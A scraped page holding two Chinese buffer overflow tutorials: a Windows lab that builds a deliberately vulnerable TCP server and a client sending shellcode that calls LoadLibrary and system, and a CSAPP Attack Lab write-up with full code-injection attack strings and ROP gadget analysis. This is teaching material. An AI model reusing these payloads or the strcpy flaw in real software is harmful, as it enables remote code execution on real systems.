精华内容
下载资源
问答
  • 缓冲区溢出攻击实验

    2019-05-13 21:32:00
    视频链接:... ...缓冲区溢出攻击实验 实验目的与要求 通过实验掌握缓冲区溢出的原理,通过使用缓冲区溢出攻击软件模拟入侵远程主机...

    视频链接:https://drive.google.com/open?id=1gtUlztkKCP2Oy42mdtkS3WAdgsWCNJHF

    课程编写

    类别

    内容

    实验课题名称

    缓冲区溢出攻击实验

    实验目的与要求

    通过实验掌握缓冲区溢出的原理,通过使用缓冲区溢出攻击软件模拟入侵远程主机理解缓冲区溢出危害性,

    并理解防范和避免缓冲区溢出攻击的措施。

    实验环境

    VPC1(虚拟PC)

    操作系统类型:Windows XP

    网络接口:本地连接

    VPC1连接要求

    PC网络接口,本地连接与实验网络直连

    软件描述

    学生机要求安装Java环境

    PC1安装VC6.0

    实验环境描述

    学生机与实验室网络直连
    VPC1与实验室网络直连
    学生机与VPC1物理链路连通

    预备知识

    缓冲区溢出(Buffer Overflow)

    是目前非常普遍而且危险性非常高的漏洞,在各种操作系统和应用软件中广泛存在。

    利用缓冲区溢出攻击,可以使远程主机出现程序运行错误、系统死机或者重启等异常现象,它甚至可以被黑客利用,

    在没有任何系统帐户的条件下获得系统最高控制权,进而进行各种非法操作。

    缓冲区溢出的原理很简单,类似于把水倒入杯子中,而杯子容量有限,如果倒入水的量超过杯子的容量,水就会溢出来。

    缓冲区是一块用于存放数据的临时内存空间,它的长度事先已经被程序或者操作系统定义好。缓冲区类似于一个杯子,

    写入的数据类似于倒入的水。缓冲区溢出就是将长度超过缓冲区大小的数据写入程序的缓冲区,

    造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行其他指令。

    例如:

    #include <stdio.h>

    main()

    {

    char string[8];

    gets(string);

    printf("string is %s\n", string);

    }

    在UNIX系统中对C函数处理时,系统会为其分配一段内存区间,其中用于函数调用的区域为堆栈区,

    保存了函数调用过程中的返回地址、

    栈顶和栈底信息,以及局部变量和函数的参数。上述main函数执行时,上述信息按照参数、

    ret(返回地址)和EBP(栈底)

    的顺序依次压入其堆栈区中,然后根据所调用的局部变量再在堆栈中开辟一块相应的空间,

    这个内存空间被申请占用的过程是从

    内存高地址空间向低地址空间的延伸。为局部变量在堆栈中预留的空间在填入局部变量时,

    其填入的顺序是从低地址内存空间向

    高地址内存空间依次进行。函数执行完后,局部变量占用的内存空间将被丢弃,并根据EBP

    和ret地址,恢复到调用函数原有地

    址空间继续执行。当字符处理函数没有对局部变量进行越界监视和限制时,就存在局部变量

    写越界,覆盖了高地址内存空间中ret、

    EBP的信息,造成缓冲区溢出。

    对于上述main()函数,由于没有参数,系统首先将main函数的ret和EBP写入堆栈,

    然后根据string[8]字符数组的大小,

    堆栈再扩展8个字节的空间用于存放sting[]数组中的局部变量。当执行gets()函数将

    局部变量例如AAAA写入string[]数组时

    ,字符串AAAA会先填入内存的低地址空间,如下图所示,然后再是高地址空间。

    堆栈中内存的分配以4字节为单位,

    如果gets()函数执行时输入的字符串为AAAAAAAAAAAAAAAA,按照上述填入顺序,

    原有ret和EBP的内存空间将会被字符串A覆盖。

    当main函数返回时,再从原ret处获取调用函数返回地址时,就会把AAAA对应的

    十六进制ASCII码0x41414141作为返回地址,

    使CPU试图执行0x41414141处的指令,由于0x41414141不是一个正常的内存空间地址,

    就会发生缓冲区溢出。

    发生溢出时,如果用一个实际存在的指令地址来覆盖被调用函数的返回地址,则系统就会

    转而执行这个指令,这一点就是缓冲区溢出被用

    来进行攻击的最关键之处。在UNIX系统中,由于相同shell环境下,程序的堆栈地址信息是

    相同的,所以只要调试后找到这个堆栈地址,

    就可以在发生溢出时转而执行这个事先设定的程序了。并且,如果发生溢出的源程序具有

    管理员权限,则替换后的程序也拥有相同的管理员权限。

    引起缓冲区溢出的问题主要原因是C和C++本质就是不安全的(Java和C#就相对安全许多)

    没有边界来检查数据和指针的引用。

    而软件开发人员经常忽略检查边界,这就会有缓冲区溢出的风险。标准C库中还存在

    许多非安全字符串的操作,

    包括strcpy()、sprintf()、gets()、strcat、scanf、vscanf等。为了防止缓冲区溢出的

    发生,编程人员需要对这些存在缓冲区

    溢出问题的函数予以关注,增加边界限制,编写正确的代码,或者改用没有问题的函数,

    例如strncpy()、strncat()、snprintf()等。

    实验内容

    简单的缓冲区溢出实验

    实验步骤

    1、打开控制台。

    学生单击“试验环境试验”进入实验场景,单击L005001001xp01_1中的“打开控制台”按钮,进入目标主机。

     

    图1

    2、找到桌面上的Microsoft Visual C++ 6.0,双击打开。

     

    图2

    3、新建一个C++ Source File,文件名为server,作为服务器。

     

    图3

    4、输入以下的代码,并编译构建。图4可以看出,程序没有错误。

     

    图4

    #include <stdio.h>

    #include <stdlib.h>

    #include <WINSOCK2.H>

    #pragma comment (lib, "WS2_32")

    void showcontent(char *buff);

    int main(int argc, char **argv)

    {

           WSADATA wsaData;

           if( WSAStartup(0x101, &wsaData) != 0 )

           {

       printf("Failed Initialization.\n");

       return 0;

           }

          

           if(argc!=2)

           {

       printf("Usage: server.exe [port]\n");

       return 0;

           }

          

           int port = atoi(argv[1]);

           SOCKET sListen = ::socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

           if (sListen == INVALID_SOCKET)

           {

       printf("Failed socket()\n");

       return 0;

           }

          

           sockaddr_in sin;

           sin.sin_family = AF_INET;

           sin.sin_port = htons(port);

           sin.sin_addr.S_un.S_addr = INADDR_ANY;

          

          

           if (::bind(sListen, (LPSOCKADDR)&sin, sizeof(sin)) == SOCKET_ERROR)

           {

       printf("Failed bind()\n");

       return 0;

           }

          

          

           if (::listen(sListen, 2) == SOCKET_ERROR)

           {

       printf("Failed listen()\n");

       return 0;

           }

          

          

           sockaddr_in remoteAddr;

           int nAddrLen = sizeof(remoteAddr);

           SOCKET sClient;

           char szText[] = "TCP Server is Connected!\n\n";

           char buff[1024] = {0};

           char toSend[1024] = {0};

          

          

           while (TRUE)

           {

       sClient = ::accept(sListen, (SOCKADDR*)&remoteAddr, &nAddrLen);

       if (sClient == INVALID_SOCKET)

       {

              printf("Failed accept()\n");

              continue;

       }

      

       printf("Somebody is connecting: %s\n", inet_ntoa(remoteAddr.sin_addr));

       ::send(sClient, szText, strlen(szText), 0);

      

      

       int nRecv = ::recv(sClient, buff, sizeof(buff), 0);

       if (nRecv > 0)

       {

              buff[nRecv] = '\0';

              ::closesocket(sClient);

              break;

       }

           }

          

          

           ::closesocket(sListen);

           showcontent(buff);

           return 0;

    }

     

     

    void showcontent(char *buff)

    {

           char content[8];

           strcpy(content, buff);

           printf("%s", content);

    }

     

    5、运行程序,可以看见有server.exe应用程序,[port]是口令。

     

    图5

    6、再新建一个C++ Source File,文件名为Client,作为客户端。

     

    图6

    7、输入以下的代码,并编译构建。图7可以看出,程序没有错误。

     

    图7

    #include <stdio.h> 

    #include <stdlib.h>

    #include <WINSOCK2.H>

    #pragma comment (lib, "WS2_32")

     

    int main(int argc, char* *argv)

    {

           WSADATA wsaData;

           if( WSAStartup(0x101, &wsaData) != 0 )

           {

       printf("Failed Initialization.\n");

       return 0;

           }

          

           if(argc!=3)

           {

       printf("Usage: client.exe [Server_IP] [port]\n");

       return 0;

           }

          

           int port = atoi(argv[2]);

           SOCKET s = ::socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

          

           if(s == INVALID_SOCKET)

           {

       printf("Failed socket()\n");

       return 0;

           }

          

           sockaddr_in servAddr;

           servAddr.sin_family = AF_INET;

           servAddr.sin_port = htons(port);

           servAddr.sin_addr.S_un.S_addr = inet_addr(argv[1]);

          

           if(::connect(s, (sockaddr *)&servAddr, sizeof(servAddr)) == -1)

           {

       printf("Failed connect()\n");

       return 0;

           }

          

           char buff[1024];

           int nRev = ::recv(s, buff, sizeof(buff), 0);

           if (nRev > 0)

           {

       buff[nRev] = '\0';

       printf("Received: %s", buff);

           }

          

          

           char toSend[] =

       "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"

       "\x12\x45\xfa\x7f"

       "\x55\x8b\xec"

       "\x33\xc0\x50\x50\x50\xc6\x45\xf4\x4d\xc6\x45\xf5\x53\xc6\x45"

       "\xf6\x56\xc6\x45\xf7\x43\xc6\x45\xf8\x52\xc6\x45\xf9\x54\xc6"

       "\x45\xfa\x2e\xc6\x45\xfb\x44\xc6\x45\xfc\x4c\xc6"

       "\x45\xfd\x4c\xba"

       "\x80\x1d\x80\x7c"   //loadlibrarya

       "\x52\x8d\x45\xf4\x50\xf"

       "\xff\xd0";

          

             char toSend2[] =

             "\x41\x42\x43\x44"

       "\x45\x46\x47\x48"

       "\x12\x45\xfa\x7f"

       "\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"

       "\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6"

       "\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA"

       "\x9c\x3f\x88\x7c"   //loadlibrary地址0x7c883f9c

       "\x52\x8D\x45\xF4\x50"

       "\xFF\x55\xF0"

       "\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E"

     

       //command.

       "\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4"

       //      c   o   m

       "\x50\xB8"

       "\x7c\xbf\x93\x77"   //System地址0x77bf93c7

       "\xFF\xD0";

          

           send(s, toSend, strlen(toSend), 0);

           ::closesocket(s);

           return 0;

    }

    8、运行程序,可以看见有client.exe应用程序,[Server_IP]是服务器的IP地址,[port]是口令。

     

    图8

    9、打开命令提示符,输入“ipconfig”查看本机的IP地址,即为服务器的IP地址。如图9,

    这里的IP地址是192.168.1.126。

     

    图9

    10、打开桌面上的Debug文件夹,找到其中的client.exe和server.exe。

     

    图10

     

    图11

    11、复制server.exe和client.exe,将他们粘贴到“c:\windows\system32”目录下。

     

    图12

    12、打开命令提示符,找到“c:\windows\system32”目录,并运行命令“server.exe 8888”来开启server。

     

    图13

    13、另外打开一个命令提示符,同样找到“c:\windows\system32”目录,运行命令

    “client.exe 192.168.1.126 8888”来攻击server。

     

    图14

    14、点击回车键后,可以看见一行提示“Received: TCP Server is Connected!”,

    表明连接上了server。然后会弹出一个对话框,显示server.exe遇到问题需要关闭,这表明server被攻击并报错了。

     

    图15

     

    15、实验结束,关闭实验环境。

    转载于:https://www.cnblogs.com/nul1/p/10859165.html

    展开全文
  • CSAPP:Attack Lab —— 缓冲区溢出攻击实验

    万次阅读 多人点赞 2017-06-05 00:44:34
    CSAPP:Attack Lab —— 缓冲区溢出攻击实验 X86-64寄存器和栈帧 Part I:Code Injection Attacks Part II:Return-Oriented Programming Attacks

    Warm-up

    X86-64寄存器和栈帧

    X86-64有16个64位寄存器 :

    -%rax 作为函数返回值使用。
    - %rsp 栈指针寄存器,指向栈顶。
    - %rdi,%rsi,%rdx,%rcx,%r8,%r9 用作函数参数,依次对应第1参数,第2参数……
    - %rbx,%rbp,%r12,%r13,%14,%15 用作数据存储,遵循被调用者使用规则。
    - %r10,%r11 用作数据存储,遵循调用者使用规则。

    程序可以用栈来管理它的过程所需要的存储空间,栈和程序寄存器存放着传递控制和数据、分配内存所需要的信息。
    当过程需要的存储空间超出寄存器能够存放的大小时,就会在栈上分配空间,这个部分称为过程的栈帧。
    栈帧
    将控制从函数P转移到函数Q只需要简单地把程序计数器设置为Q的代码的起始位置,当稍后从Q返回时,处理器必须记录好它需要继续P的执行的代码位置。
    在x86-64机器中,call Q指令会把返回地址即紧跟在call指令后的那条指令的地址压入栈中,并将程序计数器设置为Q的起始地址;对应的ret指令会从栈中弹出返回地址,并把程序计数器设置为该返回地址。

    实验目的

    本实验要求在两个有着不同安全漏洞的程序上实现五种攻击。

    通过完成本实验达到:
    - 深入理解当程序没有对缓冲区溢出做足够防范时,攻击者可能会如何利用这些安全漏洞。
    - 深入理解x86-64机器代码的栈和参数传递机制。
    - 深入理解x86-64指令的编码方式。
    - 熟练使用gdb和objdump等调试工具。
    - 更好地理解写出安全的程序的重要性,了解到一些编译器和操作系统提供的帮助改善程序安全性的特性。

    文件说明

    ctarget:一个容易遭受code injection攻击的可执行程序。
    rtarget:一个容易遭受return-oriented programming攻击的可执行程序。
    cookie.txt:一个8位的十六进制码,用于验证身份的唯一标识符。
    farm.c:目标“gadget farm”的源代码,用于产生return-oriented programming攻击。
    hex2raw:一个生成攻击字符串的工具。

    unsigned getbuf()
    {
        char buf[BUFFER_SIZE];
        Gets(buf);
        return 1;
    }

    函数Gets()类似于标准库函数gets(),从标准输入读入一个字符串,将字符串(带null结束符)存储在指定的目的地址。二者都只会简单地拷贝字节序列,无法确定目标缓冲区是否足够大以存储下读入的字符串,因此可能会超出目标地址处分配的存储空间。
    字符串不能包含字节值0x0a,这是换行符'\n'的ASCII码,Gets()遇到这个字节时会认为意在结束该字符串。

    输入正常长度的字符串
    未超出缓冲区大小,正常返回1。

    输入过长长度的字符串
    超出缓冲区大小通常会导致程序状态被破坏,引起内存访问错误。

    实验辅助

    • hex2raw的使用说明

      要求输入是一个十六进制格式的字符串,用两个十六进制数字表示一个字节值,字节值之间以空白符(空格或新行)分隔,注意使用小端法字节序。

      将攻击字符串存入文件中,如attack.txt,然后用下述方法调用:
      1.cat attack.txt | ./hex2raw | ./ctarget
      2../hex2raw <attack.txt> attackraw.txt
      ./ctarget < attackraw.txt./ctarget -i attackraw.txt
      3.结合gdb使用
      ./hex2raw <attack.txt> attackraw.txt
      gdb ctarget
      (gdb) run < attackraw.txt(gdb) run -i attackraw.txt

    • 生成字节代码操作
      编写一个汇编文件:
      vim attack.s
      汇编和反汇编此文件:
      gcc -c attack.s
      objdump -d attack.o > attack.d
      由此推出这段代码的字节序列。

    • 涉及的gdb命令

      (gdb) r run的简写,运行被调试的程序。若有断点,则程序暂停在第一个可用断点处。
      (gdb) c continue的简写,继续执行被调试程序,直至下一个断点或程序结束。
      (gdb) print <指定变量> 显示指定变量的值。
      (gdb) break *<代码地址> 设置断点。
      (gdb) x/<n/f/u> <addr> examine的简写,查看内存地址中的值。

    * (gdb) x/< n/f/u > < addr > 的具体用法:
    n、f、u是可选的参数。

    -n是一个正整数,表示需要显示的内存单元的个数。
    - f 表示显示的格式。s表示地址所指的是字符串,i表示地址是指令地址。
    - u表示从当前地址往后请求的字节数,如果不指定的话,默认是4字节。b表示单字节,h表示双字节,w表示四字节,g表示八字节。
    - < addr >表示一个内存地址。


    Part I

    Code Injection Attacks
    程序被设置成栈的位置每次执行都一样,因此栈上的数据就可以等效于可执行代码,使得程序更容易遭受包含可执行代码字节编码的攻击字符串的攻击。

    -Level 1

    函数test调用了函数getbufgetbuf执行返回语句时,程序会继续执行test函数中的语句。

    void test() 
    {
        int val;
        val = getbuf();
        printf("NO explit. Getbuf returned 0x%x\n", val);
    }

    而我们要改变这个行为,使 getbuf返回的时候,执行 touch1而不是返回 test

    void touch1() 
    {
        vlevel = 1;
        printf("Touch!: You called touch1()\n");   
        validate(1);
        exit(0);
    }

    touch1看出我们不需要注入新的代码,只需要用攻击字符串指引程序执行一个已经存在的函数,也就是使getbuf结尾处的ret指令将控制转移到touch1

    0000000000401825 <getbuf>:
      401825:   48 83 ec 38             sub    $0x38,%rsp           
      401829:   48 89 e7                mov    %rsp,%rdi
      40182c:   e8 7f 02 00 00          callq  401ab0 <Gets>
      401831:   b8 01 00 00 00          mov    $0x1,%eax              
      401836:   48 83 c4 38             add    $0x38,%rsp
      40183a:   c3   

    sub $0x38,%rsp这条指令可以得到getbuf创建的缓冲区大小为0x38字节即56字节。

    000000000040183b <touch1>:
      40183b:   48 83 ec 08             sub    $0x8,%rsp
      40183f:   c7 05 b3 2c 20 00 01    movl   $0x1,0x202cb3(%rip)        # 6044fc <vlevel>
      401846:   00 00 00 
      401849:   bf dd 30 40 00          mov    $0x4030dd,%edi
      40184e:   e8 0d f4 ff ff          callq  400c60 <puts@plt>
      401853:   bf 01 00 00 00          mov    $0x1,%edi
      401858:   e8 a9 04 00 00          callq  401d06 <validate>
      40185d:   bf 00 00 00 00          mov    $0x0,%edi
      401862:   e8 79 f5 ff ff          callq  400de0 <exit@plt>

    从这里可以看出,touch1函数的起始地址为0x40183b
    要使getbuf结尾处的ret指令将控制转移到touch1,我们只需利用缓冲区溢出将返回地址修改为touch1的起始地址。

    我们的攻击字符串就诞生了,不如把它命名为attack1.txt

    00 00 00 00 00 00 00 00 
    00 00 00 00 00 00 00 00 
    00 00 00 00 00 00 00 00 
    00 00 00 00 00 00 00 00 
    00 00 00 00 00 00 00 00 
    00 00 00 00 00 00 00 00 
    00 00 00 00 00 00 00 00 
    //以上(任意字节除0x0a)填充满整个缓冲区(56字节)以致溢出。
    3b 18 40 00 00 00 00 00  
    //用函数touch1的起始地址覆盖掉原先的返回地址(注意字节顺序)。

    调用hex2raw并执行ctarget
    ./hex2raw < attack1.txt > attackraw1.txt
    ./ctarget -i attackraw1.txt

    Level 1

    -Level 2

    void touch2(unsigned val)
    {
        vlevel = 2;
        if (val == cookie){
            printf("Touch2!: You called touch2(0x%.8x)\n", val);
            validate(2);
        }else {
            printf("Misfire: You called touch2(0x%.8x)\n", val);
            fail(2);
        }
        exit(0);
    }

    getbuf函数返回的时候,执行 touch2而不是返回 test。不同的是,我们需要注入新的代码,并且必须让touch2以为它接收到的参数是自己的 cookie,即0x73fb1600

    
    0000000000401867 <touch2>:
      401867:   48 83 ec 08             sub    $0x8,%rsp                    
      40186b:   89 fa                   mov    %edi,%edx
      40186d:   c7 05 85 2c 20 00 02    movl   $0x2,0x202c85(%rip)        # 6044fc <vlevel>
      401874:   00 00 00 
      401877:   3b 3d 87 2c 20 00       cmp    0x202c87(%rip),%edi        # 604504 <cookie>  
      40187d:   75 20                   jne    40189f <touch2+0x38>                           
      40187f:   be 00 31 40 00          mov    $0x403100,%esi
      401884:   bf 01 00 00 00          mov    $0x1,%edi
      401889:   b8 00 00 00 00          mov    $0x0,%eax
      40188e:   e8 0d f5 ff ff          callq  400da0 <__printf_chk@plt>
      401893:   bf 02 00 00 00          mov    $0x2,%edi
      401898:   e8 69 04 00 00          callq  401d06 <validate>
      40189d:   eb 1e                   jmp    4018bd <touch2+0x56>
      40189f:   be 28 31 40 00          mov    $0x403128,%esi
      4018a4:   bf 01 00 00 00          mov    $0x1,%edi
      4018a9:   b8 00 00 00 00          mov    $0x0,%eax
      4018ae:   e8 ed f4 ff ff          callq  400da0 <__printf_chk@plt>
      4018b3:   bf 02 00 00 00          mov    $0x2,%edi
      4018b8:   e8 0b 05 00 00          callq  401dc8 <fail>
      4018bd:   bf 00 00 00 00          mov    $0x0,%edi
      4018c2:   e8 19 f5 ff ff          callq  400de0 <exit@plt>

    从这里可以看出,touch2函数的起始地址为0x401867
    touch2的参数 val 存储于寄存器 %rdi ,我们要做的就是先跳转到一个地方执行一段代码,这段代码能够将寄存器 %rdi 的值设置为cookie,然后再跳转到 touch2执行。

    这就是我们要注入的指令代码:

    mov    $0x73fb1600,%rdi
    pushq  $0x401867
    ret

    汇编和反汇编得到:

    0000000000000000 <.text>:
       0:   48 c7 c7 00 16 fb 73    mov    $0x73fb1600,%rdi
       7:   68 67 18 40 00          pushq  $0x401867
       c:   c3                      retq  

    于是我们要注入的代码字符串为48 c7 c7 00 16 fb 73 68 67 18 40 00 c3

    和Level 1 类似,利用缓冲区溢出将返回地址修改为这段代码的起始地址,就能让程序执行我们注入的这段代码。
    内存中存储这段代码的地方便是 getbuf开辟的缓冲区,我们利用gdb查看此时缓冲区的起始地址。

    getbuf调用函数Gets开辟缓冲区,那我们就来看看调用完后缓冲区的位置。
    查看缓冲区位置
    可见此时缓冲区的起始地址为0x55674e78

    那么最后的攻击字符串是这样子的:

    48 c7 c7 00 16 fb 73 68 
    67 18 40 00 c3 00 00 00 
    00 00 00 00 00 00 00 00 
    00 00 00 00 00 00 00 00 
    00 00 00 00 00 00 00 00 
    00 00 00 00 00 00 00 00 
    00 00 00 00 00 00 00 00 
    //以上包含注入代码填充满整个缓冲区(56字节)以致溢出。
    78 4e 67 55 00 00 00 00
    //用缓冲区的起始地址覆盖掉原先的返回地址(注意字节顺序)。

    同样地,调用hex2raw并执行ctarget
    Level 2

    -Level 3

    int hexmatch(unsigned val, char *sval)
    {
        char cbuf[110];
        /* Make position of check string unpredictable */
        char *s = cbuf + random() % 100;
        sprintf(s, "%.8x", val);
        return strncmp(sval, s, 9) == 0;
    }
    
    void touch3(char *sval)
    {
        vlevel = 3;
        if (hexmatch(cookie, sval)){
            printf("Touch3!: You called touch3(\"%s\")\n", sval);
            validate(3);
        } else {
            printf("Misfire: You called touch3(\"%s\")\n", sval);
            fail(3);
        }
        exit(0);
    }

    getbuf函数返回的时候,执行 touch3而不是返回 test。从touch3可以看出我们需要注入新的代码,并且必须让touch3以为它接收到的参数是自己的 cookie的字符串表示。

    和Level 2的区别在于,我们要将寄存器%rdi设置为cookie字符串的指针即存储cookie字符串的地址。

    man ascii指令可以对照着找到cookie的字符的字节表示。
    0x73fb160037 33 66 62 31 36 30 30

    0000000000401975 <touch3>:
      401975:   53                      push   %rbx
      401976:   48 89 fb                mov    %rdi,%rbx
      401979:   c7 05 79 2b 20 00 03    movl   $0x3,0x202b79(%rip)        # 6044fc <vlevel>
      401980:   00 00 00 
      401983:   48 89 fe                mov    %rdi,%rsi
      401986:   8b 3d 78 2b 20 00       mov    0x202b78(%rip),%edi        # 604504 <cookie>
      40198c:   e8 36 ff ff ff          callq  4018c7 <hexmatch>
      401991:   85 c0                   test   %eax,%eax                  
      401993:   74 23                   je     4019b8 <touch3+0x43>
      401995:   48 89 da                mov    %rbx,%rdx
      401998:   be 50 31 40 00          mov    $0x403150,%esi             
      40199d:   bf 01 00 00 00          mov    $0x1,%edi
      4019a2:   b8 00 00 00 00          mov    $0x0,%eax
      4019a7:   e8 f4 f3 ff ff          callq  400da0 <__printf_chk@plt>
      4019ac:   bf 03 00 00 00          mov    $0x3,%edi
      4019b1:   e8 50 03 00 00          callq  401d06 <validate>
      4019b6:   eb 21                   jmp    4019d9 <touch3+0x64>
      4019b8:   48 89 da                mov    %rbx,%rdx
      4019bb:   be 78 31 40 00          mov    $0x403178,%esi          
      4019c0:   bf 01 00 00 00          mov    $0x1,%edi
      4019c5:   b8 00 00 00 00          mov    $0x0,%eax
      4019ca:   e8 d1 f3 ff ff          callq  400da0 <__printf_chk@plt>
      4019cf:   bf 03 00 00 00          mov    $0x3,%edi
      4019d4:   e8 ef 03 00 00          callq  401dc8 <fail>
      4019d9:   bf 00 00 00 00          mov    $0x0,%edi
      4019de:   e8 fd f3 ff ff          callq  400de0 <exit@plt>

    从这里可以看出,touch3函数的起始地址为0x401975
    touch3中调用 hexmatch以及其中的strncmp函数时,会将数据压入栈中,覆盖getbuf使用的缓冲区的内存。因此,我们需要看看调用 hexmatch之前和之后缓冲区分别是什么样子的,才能确定把我们的cookie字符串放在合适的位置从而不会被改变。

    类似Level 1的攻击字符串,我们先写一个能够进入到touch3以便查看缓冲区的字符串。

    00 00 00 00 00 00 00 00 
    00 00 00 00 00 00 00 00 
    00 00 00 00 00 00 00 00 
    00 00 00 00 00 00 00 00 
    00 00 00 00 00 00 00 00 
    00 00 00 00 00 00 00 00 
    00 00 00 00 00 00 00 00 
    //以上(任意字节除0x0a)填充满整个缓冲区(56字节)以致溢出。
    75 19 40 00 00 00 00 00  
    //用函数touch3的起始地址覆盖掉原先的返回地址(注意字节顺序)。

    然后结合gdb执行ctarget进入touch3并分别在调用hexmatch前后设置断点看看缓冲区。
    查看缓冲区

    查看缓冲区
    可以看出缓冲区的 56 个字节里,0x55674e78~0x55674e87这16个字节用来存储我们的注入代码,
    0x55674e88~0x55674eaf这40个字节内并没有连续的 8 个没有被覆盖的字节。
    在缓冲区外,0x55674eb0~0x55674eb7这8个字节用来存储返回地址即缓冲区起始地址0x55674e78, 幸运地发现0x55674eb8~0x55674ebf这8个字节并没有发生变化,恰好可以用来存储我们的cookie字符串。

    mov    $0x55674eb8,%rdi
    pushq  $0x401975
    ret

    汇编和反汇编得到:

    Disassembly of section .text:
    
    0000000000000000 <.text>:
       0:   48 c7 c7 b8 4e 67 55    mov    $0x55674eb8,%rdi
       7:   68 75 19 40 00          pushq  $0x401975
       c:   c3                      retq   

    最后的攻击字符串是这样子的:

    48 c7 c7 b8 4e 67 55 68 
    75 19 40 00 c3 00 00 00 
    00 00 00 00 00 00 00 00 
    00 00 00 00 00 00 00 00 
    00 00 00 00 00 00 00 00 
    00 00 00 00 00 00 00 00 
    00 00 00 00 00 00 00 00 
    //以上包含注入代码填充满整个缓冲区(56字节)以致溢出。
    78 4e 67 55 00 00 00 00
    //用缓冲区的起始地址覆盖掉原先的返回地址(注意字节顺序)。
    37 33 66 62 31 36 30 30
    //cookie字符串的字节表示。

    然后又看到令人开心的结果啦:
    Level 3


    Part II

    Return-Oriented Programming Attacks
    采用以下两种技术对抗攻击:
    -随机化,每次运行栈的位置都不同,所以无法决定注入代码应放位置。
    -将保存栈的内存区域设置为不可执行,所以即使能够把注入的代码的起始地址放入程序计数器中,程序也会报段错误失败。

    可以通过现有程序中的代码而不是注入新的代码来实现攻击。

    使用gadget farm里的gadget来攻击rtarget程序。每条指令最后跟着 ret,就能从一个 gadget 跳转到另一个 gadget 中,从而实现我们需要的操作。

    • 指令的字节编码(所有的值均为十六进制)

    movq
    popq、movl
    2-byte functional nop

    注意:

    -nop是一个空操作,只是让程序计数器加一,该指令编码为0x90
    -2字节指令可以作为有功能的nop,不改变任何寄存器或内存的值。

    • gadget farm中找出指令(‘指令编码’)
    0000000000401a0c <start_farm>:
      401a0c:   b8 01 00 00 00          mov    $0x1,%eax
      401a11:   c3                      retq   
    
    0000000000401a12 <setval_263>:
      401a12:   c7 07 48 89 c7 91       movl   $0x91c78948,(%rdi)                    
      401a18:   c3                      retq   
    
    0000000000401a19 <getval_153>:
      401a19:   b8 f8 48 89 c7          mov    $0xc78948f8,%eax                      
      401a1e:   c3                      retq   
    
    0000000000401a1f <getval_438>:
      401a1f:   b8 48 09 c7 c3          mov    $0xc3c70948,%eax
      401a24:   c3                      retq   
    
    0000000000401a25 <getval_146>:
      401a25:   b8 cd 23 50 90          mov    $0x905023cd,%eax
      401a2a:   c3                      retq   
    
    0000000000401a2b <setval_278>:
      401a2b:   c7 07 `58 90 90 c3`     movl   $0xc3909058,(%rdi)            popq  %rax      
      401a31:   c3                      retq   
    
    0000000000401a32 <setval_148>:
      401a32:   c7 07 58 90 90 90       movl   $0x90909058,(%rdi)            
      401a38:   c3                      retq   
    
    0000000000401a39 <getval_294>:
      401a39:   b8 a4  94 90            mov    $0x909458a4,%eax
      401a3e:   c3                      retq   
    
    0000000000401a3f <setval_161>:
      401a3f:   c7 07 `48 89 c7 c3`     movl   $0xc3c78948,(%rdi)           mov  %rax,%rdi             
      401a45:   c3                      retq   
    
    0000000000401a46 <mid_farm>:
      401a46:   b8 01 00 00 00          mov    $0x1,%eax
      401a4b:   c3                      retq   
    
    0000000000401a4c <add_xy>:
      401a4c:   `48 8d 04 37`           lea    (%rdi,%rsi,1),%rax            lea    (%rdi,%rsi,1),%rax     
      401a50:   `c3`                    retq   
    
    0000000000401a51 <setval_329>:
      401a51:   c7 07 `89 c2 38 c0`     movl   $0xc038c289,(%rdi)            movl  %eax,%edx   
      401a57:   `c3`                    retq   
    
    0000000000401a58 <setval_397>:
      401a58:   c7 07 89 d1 28 c9       movl   $0xc928d189,(%rdi)
      401a5e:   c3                      retq   
    
    0000000000401a5f <setval_178>:
      401a5f:   c7 07 89 ce c2 b2       movl   $0xb2c2ce89,(%rdi)
      401a65:   c3                      retq   
    
    0000000000401a66 <getval_103>:
      401a66:   b8 89 ce 00 d2          mov    $0xd200ce89,%eax
      401a6b:   c3                      retq   
    
    0000000000401a6c <setval_332>:
      401a6c:   c7 07 81 ce 20 d2       movl   $0xd220ce81,(%rdi)
      401a72:   c3                      retq   
    
    0000000000401a73 <setval_376>:
      401a73:   c7 07 48 89 e0 91       movl   $0x91e08948,(%rdi)            
      401a79:   c3                      retq   
    
    0000000000401a7a <setval_143>:
      401a7a:   c7 07 c9 d1 08 db       movl   $0xdb08d1c9,(%rdi)
      401a80:   c3                      retq   
    
    0000000000401a81 <getval_149>:
      401a81:   b8 99 c2 08 db          mov    $0xdb08c299,%eax
      401a86:   c3                      retq   
    
    0000000000401a87 <addval_461>:
      401a87:   8d 87 8b d1 84 db       lea    -0x247b2e75(%rdi),%eax
      401a8d:   c3                      retq   
    
    0000000000401a8e <addval_271>:
      401a8e:   8d 87 48 81 e0 c3       lea    -0x3c1f7eb8(%rdi),%eax
      401a94:   c3                      retq   
    
    0000000000401a95 <getval_459>:
      401a95:   b8 89 c2 c4 c0          mov    $0xc0c4c289,%eax
      401a9a:   c3                      retq   
    
    0000000000401a9b <getval_385>:
      401a9b:   b8 89 c2 18 d2          mov    $0xd218c289,%eax
      401aa0:   c3                      retq   
    
    0000000000401aa1 <addval_462>:
      401aa1:   8d 87 8b ce 08 c9       lea    -0x36f73175(%rdi),%eax
      401aa7:   c3                      retq   
    
    0000000000401aa8 <getval_150>:
      401aa8:   b8 `89 d1 20 c9`        mov    $0xc920d189,%eax             movl  %edx,%ecx     
      401aad:   `c3`                    retq   
    
    0000000000401aae <setval_236>:
      401aae:   c7 07 `89 c2 20 d2`     movl   $0xd220c289,(%rdi)           movl  %eax,%edx
      401ab4:   `c3`                    retq   
    
    0000000000401ab5 <addval_165>:
